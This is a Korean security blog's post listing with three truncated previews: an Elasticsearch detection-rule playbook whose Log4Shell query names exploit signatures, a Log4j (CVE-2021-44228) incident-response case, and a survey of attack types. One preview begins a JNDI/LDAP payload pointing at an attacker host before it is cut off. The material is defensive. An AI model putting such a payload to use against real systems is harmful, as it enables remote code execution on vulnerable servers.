SECURITY/보안기술(SECOPS)

보안 위협 이벤트 탐지 룰 Playbook

Elasticsearch query Rule에 대한 보안 위협 탐지를 slack 알람으로 받는내용입니다. 일부는 메일로도 발송중.. 폐사는 주로 T사 APT 보안 솔루션을 활용하여 엘라스틱과 연동하여 사용중이며 해당 룰은 frequency(빈도), priority(우선순위)등 다양한 변수를 조합하여 운영중입니다. 대표적인 악성 행위에 대한 탐지 rule을 예로 든것입니다. Log4j Log4Shell 공격 탐지 query: deviceHostName:DDI AND name:("CVE-2021-44228 - OGNL EXPLOIT - HTTP(REQUEST)" OR "POSSIBLE HTTP HEADER OGNL EXPRESSION EXPLOIT - HTTP(REQUEST)" OR "POSSIBLE USE..

2022. 1. 28. 14:41

SECURITY/해킹사고 사례

[해킹사고사례] Log4j 취약점 공격 대응 사례 CVE-2021–44228

Log4j(log4shell) Vulnerabilities 올해 2021년 가장 HOT 했던 log4j 취약점에 대하여 개인적으로 정리차 오랫만에 블로그를 포스팅합니다. 덕분에 보안 업계 종사자 및 관련 분야 종사자들은 힘든 시기를 보냈죠 ^^ Log4j log4shell 취약점 = CVE-2021–44228 log4j 취약점에 대한 전반적인 내용은 인터넷에서 쉽게 찾을수 있어 실제 공격 당한(해킹) 사례를 관점으로 포스팅 하고자 합니다. 1. 침해 확인 (한창 뉴스에 도배될 시점 새벽) Apache + Tomcat (취약 버전) 실제 운영중인 사이트 ※ 공격 벡터는 다양함 (취약한 사이트의 로그인 창, 검색창, 메신져 대화창등) Payload Examples ${jndi:ldap://attackerma..

2021. 12. 30. 16:10

SECURITY/보안기술(SECOPS)

해킹 공격 유형 분석

해킹 공격 유형별 분석 포스팅 특정 APT 보안 장비 에서 실제 탐지 되는 다양한 해킹 공격 유형에 대해서 알아 보겠습니다. 아래 내용 외에도 수많은 해킹 공격 방법이 있으나 잘알려진 대표적인 유형에 대해서만 기술 하였습니다. APT 보안 장비 벤더별 탐지 rule 명칭은 다소 차이가 있음 각 취약점에 대한 방지 대책은 별도로 기술 하지 않겠습니다. Log4j log4shell 취약점 해킹 공격 APT Device Detection Name (탐지명) CVE-2021-44228 - OGNL EXPLOIT - HTTP(REQUEST) POSSIBLE HTTP HEADER OGNL EXPRESSION EXPLOIT - HTTP(REQUEST) POSSIBLE USERAGENT RCE EXPLOIT - HTT..

2019. 1. 10. 15:20